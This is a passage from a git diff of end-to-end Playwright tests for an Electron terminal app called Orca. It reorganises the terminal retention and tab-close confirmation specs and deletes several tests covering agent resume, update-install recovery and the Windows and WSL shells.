buffers and would give the wrong failure signal. + expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) + + // Use a retry-unique marker plus newline so prompt/OSC residue cannot satisfy snapshot retention. + const marker = `SCROLLBACK_PERSIST_${Date.now()}` + await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) + await waitForTerminalOutput(firstLaunch.page, marker) + + // Close saves session bindings and disconnects; daemon retains scrollback. + await session.close(firstApp) + firstApp = null + + const secondLaunch = await session.launch() + secondApp = secondLaunch.app + await bootstrapRestoredLaunch(secondLaunch.page, worktreeId) + + // Poll live xterm after snapshot replay; local scrollback is intentionally absent from store. + await expect + .poll(async () => (await getTerminalContent(secondLaunch.page)).includes(marker), { + timeout: 15_000, + message: 'Restored terminal did not contain the pre-quit scrollback marker' + }) + .toBe(true) + } finally { + if (secondApp) { + await session.close(secondApp) + } + if (firstApp) { + await session.close(firstApp) + } + await session.dispose() + } + }) +}) diff --git a/tests/e2e/helpers/terminal-restart-persistence.ts b/tests/e2e/terminal/retention/terminal-restart-persistence.ts similarity index 91% rename from tests/e2e/helpers/terminal-restart-persistence.ts rename to tests/e2e/terminal/retention/terminal-restart-persistence.ts index 6dd720901fb..8bae1545ed5 100644 --- a/tests/e2e/helpers/terminal-restart-persistence.ts +++ b/tests/e2e/terminal/retention/terminal-restart-persistence.ts @@ -1,16 +1,19 @@ import { readFileSync, existsSync } from 'node:fs' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './orca-app' -import { TEST_REPO_PATH_FILE } from '../global-setup' -import { attachRepoAndOpenTerminal } from './orca-restart' -import { discoverActivePtyId, waitForActiveTerminalManager, waitForPaneCount } from './terminal' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../global-setup' +import { attachRepoAndOpenTerminal } from '../../desktop/electron-fixtures/orca-restart' +import '../input/terminal' +import { discoverActivePtyId } from '../input/terminal-active-pane' +import { waitForActiveTerminalManager, waitForPaneCount } from '../layout/terminal-pane-operations' import { waitForSessionReady, waitForActiveWorktree, getActiveWorktreeId, getActiveTabId, ensureTerminalVisible -} from './store' +} from '../../desktop/renderer-probes/store' const REQUIRE_WINDOWS_TERMINAL_RESTART_E2E = process.env.ORCA_REQUIRE_WINDOWS_TERMINAL_RESTART_E2E === '1' diff --git a/tests/e2e/terminal-sleep-wake-restore.spec.ts b/tests/e2e/terminal/retention/terminal-sleep-wake-restore.spec.ts similarity index 96% rename from tests/e2e/terminal-sleep-wake-restore.spec.ts rename to tests/e2e/terminal/retention/terminal-sleep-wake-restore.spec.ts index ceaab420dc6..7c756b4cf4c 100644 --- a/tests/e2e/terminal-sleep-wake-restore.spec.ts +++ b/tests/e2e/terminal/retention/terminal-sleep-wake-restore.spec.ts @@ -2,21 +2,22 @@ import { randomUUID } from 'node:crypto' import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getAllWorktreeIds, switchToWorktree, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' +} from '../../desktop/renderer-probes/store' +import { waitForActivePanePtyId } from '../input/terminal' import { - getTerminalContent, sendToTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' +} from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' type SleepWakeTerminalDebug = { activeTabId: string | null diff --git a/tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts b/tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts similarity index 76% rename from tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts rename to tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts index 1f7cf7bdff6..11888475eb6 100644 --- a/tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts +++ b/tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts @@ -1,25 +1,27 @@ // #10142: require middle-click confirmation, actual close on confirm, and one Cmd+W dialog across last-pane→tab delegation. -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import type { Page } from '@stablyai/playwright-test' import { waitForSessionReady, waitForActiveWorktree, getActiveTabId, ensureTerminalVisible -} from './helpers/store' +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../input/terminal' import { execInTerminal, - focusActiveTerminalInput, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForPaneCount, waitForTerminalOutput -} from './helpers/terminal' +} from '../layout/terminal-pane-operations' const SORTABLE_TAB = '[data-testid="sortable-tab"]' -function closeDialogTitle(page: Page) { - return page.getByText(/Stop running command\?|Stop this agent\?/) +function closeDialog(page: Page) { + return page.getByRole('dialog').filter({ + has: page.getByRole('button', { name: /^Stop and close$/i }) + }) } async function startBusyTerminal(page: Page): Promise { @@ -57,9 +59,9 @@ test('middle-clicking a busy tab prompts, and cancelling keeps the tab', async ( await busyTab.click({ button: 'middle' }) - await expect(closeDialogTitle(orcaPage)).toBeVisible({ timeout: 15_000 }) + await expect(closeDialog(orcaPage)).toBeVisible({ timeout: 15_000 }) await orcaPage.getByRole('button', { name: /^Cancel$/ }).click() - await expect(closeDialogTitle(orcaPage)).toBeHidden() + await expect(closeDialog(orcaPage)).toBeHidden() await expect(busyTab).toBeVisible() expect(await orcaPage.locator(SORTABLE_TAB).count()).toBe(tabsBefore) }) @@ -71,11 +73,11 @@ test('confirming the X-button prompt closes the busy tab', async ({ orcaPage }) await busyTab.hover() await busyTab.getByRole('button', { name: /^Close tab /i }).click() - await expect(closeDialogTitle(orcaPage)).toBeVisible({ timeout: 15_000 }) - await orcaPage.getByRole('button', { name: /^Stop and Close$/ }).click() + await expect(closeDialog(orcaPage)).toBeVisible({ timeout: 15_000 }) + await orcaPage.getByRole('button', { name: /^Stop and close$/i }).click() await expect(busyTab).toHaveCount(0, { timeout: 15_000 }) - await expect(closeDialogTitle(orcaPage)).toBeHidden() + await expect(closeDialog(orcaPage)).toBeHidden() }) test('Cmd+W on a busy single-pane tab raises exactly one dialog', async ({ orcaPage }) => { @@ -85,11 +87,11 @@ test('Cmd+W on a busy single-pane tab raises exactly one dialog', async ({ orcaP await focusActiveTerminalInput(orcaPage) await orcaPage.keyboard.press(process.platform === 'darwin' ? 'Meta+w' : 'Control+w') - await expect(closeDialogTitle(orcaPage)).toBeVisible({ timeout: 15_000 }) - await orcaPage.getByRole('button', { name: /^Stop and Close$/ }).click() + await expect(closeDialog(orcaPage)).toBeVisible({ timeout: 15_000 }) + await orcaPage.getByRole('button', { name: /^Stop and close$/i }).click() await expect(busyTab).toHaveCount(0, { timeout: 15_000 }) // Reject duplicate pane and delegated closeTerminalTab confirmations. await orcaPage.waitForTimeout(1_500) - await expect(closeDialogTitle(orcaPage)).toBeHidden() + await expect(closeDialog(orcaPage)).toBeHidden() }) diff --git a/tests/e2e/terminal-tab-close-running-confirm.spec.ts b/tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts similarity index 80% rename from tests/e2e/terminal-tab-close-running-confirm.spec.ts rename to tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts index 0f97f57a228..e2dcc174ecb 100644 --- a/tests/e2e/terminal-tab-close-running-confirm.spec.ts +++ b/tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts @@ -1,20 +1,20 @@ // #10142: keyboard and X close must both confirm for the same live sleep 300 child, preserving the tab until approval. -import { test, expect } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import type { Page } from '@stablyai/playwright-test' import { waitForSessionReady, waitForActiveWorktree, getActiveTabId, ensureTerminalVisible -} from './helpers/store' +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../input/terminal' import { execInTerminal, - focusActiveTerminalInput, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForPaneCount, waitForTerminalOutput -} from './helpers/terminal' +} from '../layout/terminal-pane-operations' const SORTABLE_TAB = '[data-testid="sortable-tab"]' @@ -22,8 +22,10 @@ function countRenderedTabs(page: Page): Promise { return page.locator(SORTABLE_TAB).count() } -function closeDialogTitle(page: Page) { - return page.getByText(/Stop running command\?|Stop this agent\?/) +function closeDialog(page: Page) { + return page.getByRole('dialog').filter({ + has: page.getByRole('button', { name: /^Stop and close$/i }) + }) } test.describe.configure({ mode: 'serial' }) @@ -60,9 +62,9 @@ test('the tab X button applies the same running-process confirmation as Cmd+W', await focusActiveTerminalInput(orcaPage) await orcaPage.keyboard.press(process.platform === 'darwin' ? 'Meta+w' : 'Control+w') - await expect(closeDialogTitle(orcaPage)).toBeVisible({ timeout: 15_000 }) + await expect(closeDialog(orcaPage)).toBeVisible({ timeout: 15_000 }) await orcaPage.getByRole('button', { name: /^Cancel$/ }).click() - await expect(closeDialogTitle(orcaPage)).toBeHidden() + await expect(closeDialog(orcaPage)).toBeHidden() await expect(busyTab).toBeVisible() const tabsBefore = await countRenderedTabs(orcaPage) @@ -72,7 +74,7 @@ test('the tab X button applies the same running-process confirmation as Cmd+W', expect( { - confirmDialogVisible: await closeDialogTitle(orcaPage).isVisible(), + confirmDialogVisible: await closeDialog(orcaPage).isVisible(), tabStillPresent: (await countRenderedTabs(orcaPage)) === tabsBefore }, 'X-button close must apply the same running-process confirmation as Cmd+W' diff --git a/tests/e2e/unopened-workspace-agent-single-resume.spec.ts b/tests/e2e/unopened-workspace-agent-single-resume.spec.ts deleted file mode 100644 index ada716a6966..00000000000 --- a/tests/e2e/unopened-workspace-agent-single-resume.spec.ts +++ /dev/null @@ -1,176 +0,0 @@ -// A never-visited CLI agent tab exists only in main’s layout. After quit/reboot-like daemon loss, first visit must resume once in its owning pane. -// Reject a second fresh-tab resume that would put two agents on one transcript. -import { chmodSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { makePaneKey } from '../../src/shared/workspace-layout/stable-pane-id' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { - createHostCliTerminal, - createRetentionFixtureDirectory, - writeRetentionFixture, - type RuntimeRpcCall -} from './helpers/host-created-terminal-retention-oracle' - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed: unknown = JSON.parse(raw) - const pid = parsed && typeof parsed === 'object' && 'pid' in parsed ? parsed.pid : undefined - if (typeof pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return pid -} - -function workspaceSessionOf(state: Record): Record { - const session = state.workspaceSession - if (!session || typeof session !== 'object') { - throw new Error('stopped profile has no workspace session') - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: checked to be a non-null object above; the test writes one map on it. - return session as Record -} - -const scratch = createRetentionFixtureDirectory() -const fixturePath = writeRetentionFixture(scratch) -test.afterAll(() => rmSync(scratch, { recursive: true, force: true })) - -// oxlint-disable-next-line no-empty-pattern -- Owns both app launches; Playwright needs the fixtures argument. -test('a sleeping agent in a never-opened workspace resumes once, in its own pane', async ({}, testInfo) => { - test.skip(process.platform === 'win32', 'Uses POSIX SIGKILL and a shell-script agent') - test.setTimeout(400_000) - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - const dir = testInfo.outputPath() - const fakeAgent = path.join(dir, 'fake-agent.sh') - const resumeLog = path.join(dir, 'resumes.log') - writeFileSync(resumeLog, '') - // Each resume appends the pane it ran in, so a second resume anywhere is visible. - writeFileSync( - fakeAgent, - `#!/bin/sh\nprintf '%s\\n' "$ORCA_PANE_KEY" >> '${resumeLog}'\nexec sleep 3600\n` - ) - chmodSync(fakeAgent, 0o755) - const resumedPaneKeys = (): string[] => - readFileSync(resumeLog, 'utf8').split('\n').filter(Boolean) - - const session = createRestartSession(testInfo) - let app = (await session.launch()).app - try { - const page = await app.firstWindow() - const active = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - const call: RuntimeRpcCall = async (method: string, params: unknown) => - (await new RuntimeClient(session.userDataDir, 30_000, null, null).call(method, params)) - .result - await expect - .poll( - () => - page.evaluate(async () => { - const state = window.__store!.getState() - const repo = state.repos[0]! - await state.updateRepo(repo.id, { externalWorktreeVisibility: 'show' }) - await window.__store!.getState().fetchWorktrees(repo.id) - return window.__store!.getState().allWorktrees().length - }), - { timeout: 60_000 } - ) - .toBeGreaterThan(1) - const unopened = await page.evaluate( - (activeId) => - window - .__store!.getState() - .allWorktrees() - .find((worktree) => worktree.id !== activeId)!.id, - active - ) - for (const id of [active, unopened]) { - await expect - .poll( - () => - call('worktree.show', { worktree: `id:${id}` }).then( - () => true, - () => false - ), - { timeout: 120_000 } - ) - .toBe(true) - } - const cli = await createHostCliTerminal( - call, - unopened, - fixturePath, - path.join(scratch, 'unopened.log') - ) - const paneKey = makePaneKey(cli.tabId, cli.leafId) - const sessionId = `unopened-${Date.now()}` - session.seedCodexResumeRollout(sessionId, repoPath) - // The precondition: the window never held the tab, so only main's layout has the pane. - expect( - await page.evaluate( - ({ worktreeId, tabId }) => - (window.__store!.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { worktreeId: unopened, tabId: cli.tabId } - ) - ).toBe(false) - - const daemonPid = readDaemonPid(session.userDataDir) - await session.close(app) - // The record a quit capture leaves for a working agent, resumed through the logging stand-in. - mutateStoppedProfileState(session.userDataDir, (state) => { - const workspaceSession = workspaceSessionOf(state) - const now = Date.now() - const records = workspaceSession.sleepingAgentSessionsByPaneKey - workspaceSession.sleepingAgentSessionsByPaneKey = { - ...(records && typeof records === 'object' ? records : undefined), - [paneKey]: { - paneKey, - worktreeId: unopened, - agent: 'codex', - providerSession: { key: 'session_id', id: sessionId }, - connectionId: null, - prompt: 'keep working', - state: 'working', - capturedAt: now, - updatedAt: now, - origin: 'quit', - launchConfig: { agentCommand: fakeAgent, agentArgs: '', agentEnv: {} } - } - } - }) - // As after a reboot: the agent's terminal is gone, so only the record can bring it back. - process.kill(daemonPid, 'SIGKILL') - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - await waitForActiveWorktree(second.page) - await second.page.evaluate( - (worktreeId) => window.__store!.getState().setActiveWorktree(worktreeId), - unopened - ) - await expect.poll(resumedPaneKeys, { timeout: 30_000 }).toEqual([paneKey]) - // The activation sweep runs within a second of the visit; give a second resume time to show. - await second.page.waitForTimeout(5_000) - expect(resumedPaneKeys()).toEqual([paneKey]) - expect( - await second.page.evaluate( - (worktreeId) => - (window.__store!.getState().tabsByWorktree[worktreeId] ?? []).map((tab) => tab.id), - unopened - ) - ).toEqual([cli.tabId]) - } finally { - await session.close(app).catch(() => undefined) - await session.dispose() - } -}) diff --git a/tests/e2e/update-install-renderer-checkpoint-recovery.spec.ts b/tests/e2e/update-install-renderer-checkpoint-recovery.spec.ts deleted file mode 100644 index b1bb0c0f997..00000000000 --- a/tests/e2e/update-install-renderer-checkpoint-recovery.spec.ts +++ /dev/null @@ -1,86 +0,0 @@ -import path from 'node:path' -import { test, expect } from './helpers/orca-app' - -// Only the prefix is contract: the checkpoint error appends the swallowed persist -// cause (STA-5505), whose wording belongs to whatever threw. -const CHECKPOINT_ERROR_PREFIX = 'Renderer shutdown checkpoint was not completed: ' - -// The null url is injected, never hydrated: the desktop session schema drops such a row, and -// no other arrival path carries browserUrlHistory at all (paired web reads it unvalidated but -// has no producer — STA-5668 follow-up). It is just a deterministic snapshot-build failure. -const CORRUPT_HISTORY_ENTRY = { url: null, title: 'corrupt persisted history', lastVisitedAt: 0 } - -test('recovers update install from a corrupt clean session but preserves dirty drafts', async ({ - orcaPage, - testRepoPath -}) => { - const fallbackLogs: string[] = [] - orcaPage.on('console', (message) => { - if (message.text().includes('Full renderer session snapshot failed; using durable session')) { - fallbackLogs.push(message.text()) - } - }) - - const dirtyResult = await orcaPage.evaluate( - async ({ filePath, worktreeId, corruptEntry }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const originalHistory = state.browserUrlHistory - state.browserUrlHistory = [corruptEntry] as unknown as typeof state.browserUrlHistory - const fileId = state.openFile({ - filePath, - relativePath: 'checkpoint-draft.txt', - worktreeId, - language: 'plaintext', - mode: 'edit' - }) - state.setEditorDraft(fileId, 'unsaved draft') - state.markFileDirty(fileId, true) - - try { - await window.api.updater.quitAndInstall() - return null - } catch (error) { - return String((error as Error)?.message ?? error) - } finally { - state.markFileDirty(fileId, false) - state.closeFile(fileId) - state.browserUrlHistory = originalHistory - } - }, - { - filePath: path.join(testRepoPath, 'checkpoint-draft.txt'), - worktreeId: await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId ?? ''), - corruptEntry: CORRUPT_HISTORY_ENTRY - } - ) - - expect(dirtyResult).toContain(CHECKPOINT_ERROR_PREFIX) - // Pin the cause to the corrupt row, not just any named failure; only the member name - // survives V8 rewording of "Cannot read properties of null". - expect(dirtyResult).toContain('toLowerCase') - - const cleanResult = await orcaPage.evaluate(async (corruptEntry) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const originalHistory = state.browserUrlHistory - state.browserUrlHistory = [corruptEntry] as unknown as typeof state.browserUrlHistory - try { - await window.api.updater.quitAndInstall() - return 'continued' - } catch (error) { - return String((error as Error)?.message ?? error) - } finally { - state.browserUrlHistory = originalHistory - } - }, CORRUPT_HISTORY_ENTRY) - - expect(cleanResult).toBe('continued') - expect(fallbackLogs).toHaveLength(1) -}) diff --git a/tests/e2e/vitest.config.ts b/tests/e2e/vitest.config.ts index 26bf73e84f9..e8118f9243a 100644 --- a/tests/e2e/vitest.config.ts +++ b/tests/e2e/vitest.config.ts @@ -4,7 +4,7 @@ export default defineConfig({ test: { environment: 'node', env: { ORCA_BACKGROUND_LAUNCH: '1' }, - include: ['tests/e2e/computer-*.e2e.ts'], + include: ['tests/e2e/desktop/computer-use/computer-*.e2e.ts'], // Why: computer-use E2E files share the real desktop focus, clipboard, and // app windows. Parallel files can steal focus from each other. fileParallelism: false, diff --git a/tests/e2e/windows-terminal-env-icons.spec.ts b/tests/e2e/windows-terminal-env-icons.spec.ts deleted file mode 100644 index c6d41776d3a..00000000000 --- a/tests/e2e/windows-terminal-env-icons.spec.ts +++ /dev/null @@ -1,126 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { getFirstWslDistro, useWslRuntimeForActiveProject } from './helpers/wsl-golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -test.describe('Windows terminal env and shell identity', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test('dev terminal preserves parent PATH so PATH commands resolve', async ({ orcaPage }) => { - await waitForActiveTerminalManager(orcaPage) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = `__ORCA_E2E_NODE_PATH_${Date.now()}__` - - // Why: before the dev PATH fallback, daemon-spawned PTYs could get PATH set - // to only Orca's dev CLI bin. A real terminal command catches that failure. - await execInTerminal(orcaPage, ptyId, `node -e "console.log('${marker}')"`) - - await waitForTerminalOutput(orcaPage, marker, 15_000) - }) - - test('native Windows tab icons stay pinned to the effective shell at tab creation', async ({ - orcaPage - }) => { - test.skip(process.platform !== 'win32', 'Windows shell icons only render on Windows') - - const tabIds = await orcaPage.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('No active worktree') - } - - // Native project ownership makes a global WSL shell fall back to PowerShell. - store.setState({ - settings: { ...state.settings!, terminalWindowsShell: 'wsl.exe' } - }) - const fallbackTab = store.getState().createTab(worktreeId, undefined, undefined, { - activate: false - }) - - store.setState({ - settings: { ...store.getState().settings!, terminalWindowsShell: 'cmd.exe' } - }) - const cmdTab = store.getState().createTab(worktreeId, undefined, undefined, { - activate: false - }) - - return { fallbackTabId: fallbackTab.id, cmdTabId: cmdTab.id } - }) - - const tabSnapshot = await orcaPage.evaluate(({ fallbackTabId, cmdTabId }) => { - const state = window.__store!.getState() - const tabs = Object.values(state.tabsByWorktree).flat() - return { - fallbackShell: tabs.find((tab) => tab.id === fallbackTabId)?.shellOverride, - cmdShell: tabs.find((tab) => tab.id === cmdTabId)?.shellOverride - } - }, tabIds) - - expect(tabSnapshot).toEqual({ - fallbackShell: 'powershell.exe', - cmdShell: 'cmd.exe' - }) - - const fallbackTab = orcaPage.locator( - `[data-testid="sortable-tab"][data-tab-id="${tabIds.fallbackTabId}"]` - ) - const cmdTab = orcaPage.locator( - `[data-testid="sortable-tab"][data-tab-id="${tabIds.cmdTabId}"]` - ) - await expect(fallbackTab).toBeVisible() - await expect(cmdTab).toBeVisible() - - await expect(fallbackTab.locator('[data-shell-icon]')).toHaveAttribute( - 'data-shell-icon', - 'powershell.exe' - ) - await expect(cmdTab.locator('[data-shell-icon]')).toHaveAttribute('data-shell-icon', 'cmd.exe') - }) - - test('WSL project tab icons retain runtime ownership across global shell changes', async ({ - orcaPage - }) => { - test.skip(process.platform !== 'win32', 'WSL shell icons require Windows') - const distro = await getFirstWslDistro(orcaPage) - test.skip(!distro, 'WSL icon coverage requires an installed distro') - await useWslRuntimeForActiveProject(orcaPage, distro!) - - const tabIds = await orcaPage.evaluate(async () => { - const store = window.__store! - const worktreeId = store.getState().activeWorktreeId! - const ids: string[] = [] - for (const shell of ['powershell.exe', 'cmd.exe'] as const) { - await store.getState().updateSettings({ terminalWindowsShell: shell }) - ids.push( - store.getState().createTab(worktreeId, undefined, undefined, { activate: false }).id - ) - } - return ids - }) - const shells = await orcaPage.evaluate((ids) => { - const tabs = Object.values(window.__store!.getState().tabsByWorktree).flat() - return ids.map((id) => tabs.find((tab) => tab.id === id)?.shellOverride) - }, tabIds) - expect(shells).toEqual(['wsl.exe', 'wsl.exe']) - for (const id of tabIds) { - const tab = orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${id}"]`) - await expect(tab).toBeVisible() - await expect(tab.locator('[data-shell-icon]')).toHaveAttribute('data-shell-icon', 'wsl.exe') - } - }) -}) diff --git a/tests/e2e/windows-wsl-terminal-restore.spec.ts b/tests/e2e/windows-wsl-terminal-restore.spec.ts deleted file mode 100644 index d489cb2c048..00000000000 --- a/tests/e2e/windows-wsl-terminal-restore.spec.ts +++ /dev/null @@ -1,212 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { execFileSync } from 'node:child_process' -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { buildWslExecArgs } from '../../src/shared/shell/wsl/wsl-login-shell-command' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { useWslRuntimeForActiveProject as selectWslRuntimeForActiveProject } from './helpers/wsl-golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - getTerminalContent, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -const REQUIRE_WSL_RESTORE = process.env.ORCA_REQUIRE_WSL_RESTORE_E2E === '1' - -type WslRestoreSnapshot = { - hostCwd: string - ptyId: string - sessionIds: string[] - shellOverride: string | undefined - tabIds: string[] -} - -function getGuestPath(distro: string, hostPath: string): string { - return execFileSync('wsl.exe', buildWslExecArgs(distro, ['wslpath', '-a', hostPath]), { - encoding: 'utf8', - stdio: 'pipe', - timeout: 15_000, - windowsHide: true - }).trim() -} - -async function createWslStartupTab( - page: Page, - worktreeId: string, - distro: string, - marker: string -): Promise { - await selectWslRuntimeForActiveProject(page, distro) - return page.evaluate( - ({ worktreeId, marker }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const tab = store.getState().createTab(worktreeId, undefined, undefined, { - pendingStartup: { - command: `printf '${marker}:%s\\n' "$PWD"`, - delivery: 'terminal-paste' - } - }) - store.getState().setActiveTab(tab.id) - store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) - return tab.id - }, - { worktreeId, marker } - ) -} - -async function readSnapshot( - page: Page, - worktreeId: string, - tabId: string -): Promise { - return page.evaluate( - async ({ worktreeId, tabId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Store unavailable') - } - const tab = (state.tabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.id === tabId - ) - const ptyIds = state.ptyIdsByTabId[tabId] ?? [] - if (!tab || ptyIds.length !== 1) { - throw new Error(`Expected one PTY for restored WSL tab ${tabId}`) - } - const sessions = await window.api.pty.listSessions() - const ownedSession = sessions.find((session) => session.id === ptyIds[0]) - if (!ownedSession) { - throw new Error(`WSL PTY ${ptyIds[0]} was absent from provider inventory`) - } - return { - hostCwd: ownedSession.cwd, - ptyId: ptyIds[0]!, - sessionIds: sessions.map((session) => session.id).sort(), - shellOverride: tab.shellOverride, - tabIds: (state.tabsByWorktree[worktreeId] ?? []).map((candidate) => candidate.id).sort() - } - }, - { worktreeId, tabId } - ) -} - -async function waitForRestoredWslTab(page: Page, worktreeId: string, tabId: string): Promise { - await waitForSessionReady(page, 60_000) - await expect.poll(() => waitForActiveWorktree(page), { timeout: 60_000 }).toBe(worktreeId) - await ensureTerminalVisible(page) - await page.evaluate((tabId) => { - const state = window.__store?.getState() - state?.setActiveTab(tabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, tabId) - await waitForActiveTerminalManager(page, 60_000) - await waitForActivePanePtyId(page, 60_000) -} - -test('WSL terminal preserves guest cwd, liveness, and PTY ownership across relaunch', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns both Electron launches. -{}, testInfo) => { - test.skip(process.platform !== 'win32', 'WSL restore coverage requires a Windows host') - test.setTimeout(300_000) - - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - if (!repoPath || !existsSync(repoPath)) { - if (REQUIRE_WSL_RESTORE) { - throw new Error('Required WSL restore E2E seeded repo is unavailable') - } - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const restart = createRestartSession(testInfo) - let app: ElectronApplication | null = null - try { - const first = await restart.launch() - app = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await waitForActiveWorktree(first.page) - await ensureTerminalVisible(first.page) - - const distro = await first.page.evaluate(async () => { - if (!(await window.api.wsl.isAvailable())) { - return null - } - return (await window.api.wsl.listDistros())[0] ?? null - }) - if (!distro) { - if (REQUIRE_WSL_RESTORE) { - throw new Error('Required Windows WSL distro is unavailable') - } - test.skip(true, 'No WSL distro is available on this Windows host') - return - } - - const guestPath = getGuestPath(distro, repoPath) - const startupMarker = `WSL_RESTORE_STARTUP_${randomUUID().replaceAll('-', '_')}` - const tabId = await createWslStartupTab(first.page, worktreeId, distro, startupMarker) - await waitForActiveTerminalManager(first.page, 60_000) - const firstPtyId = await waitForActivePanePtyId(first.page, 60_000) - await waitForTerminalOutput(first.page, `${startupMarker}:${guestPath}`, 30_000) - - const baseline = await readSnapshot(first.page, worktreeId, tabId) - expect(baseline.hostCwd).toBe(repoPath) - expect(baseline.ptyId).toBe(firstPtyId) - expect(baseline.shellOverride).toBe('wsl.exe') - await expect( - first.page.evaluate((ptyId) => window.api.pty.hasPty(ptyId), firstPtyId) - ).resolves.toBe(true) - - await first.page.evaluate(() => window.dispatchEvent(new Event('beforeunload'))) - await expect - .poll( - () => - first.page.evaluate( - async ({ worktreeId, tabId, ptyId }) => { - const persisted = await window.api.session.get() - const tab = (persisted.tabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.id === tabId - ) - const layoutPtyId = persisted.terminalLayoutsByTabId?.[tabId]?.ptyIdsByLeafId - ? Object.values(persisted.terminalLayoutsByTabId[tabId]!.ptyIdsByLeafId!)[0] - : undefined - return tab?.id === tabId && layoutPtyId === ptyId - }, - { worktreeId, tabId, ptyId: firstPtyId } - ), - { timeout: 15_000, message: 'WSL tab ownership was not persisted before quit' } - ) - .toBe(true) - - await restart.close(app) - app = null - const second = await restart.launch() - app = second.app - await waitForRestoredWslTab(second.page, worktreeId, tabId) - await waitForTerminalOutput(second.page, `${startupMarker}:${guestPath}`, 30_000) - - const restored = await readSnapshot(second.page, worktreeId, tabId) - expect(restored).toEqual(baseline) - await expect( - second.page.evaluate((ptyId) => window.api.pty.hasPty(ptyId), restored.ptyId) - ).resolves.toBe(true) - - const inputMarker = `WSL_RESTORE_INPUT_${randomUUID().replaceAll('-', '_')}` - await execInTerminal(second.page, restored.ptyId, `printf '${inputMarker}:%s\\n' "$PWD"`) - await waitForTerminalOutput(second.page, `${inputMarker}:${guestPath}`, 30_000) - expect(await 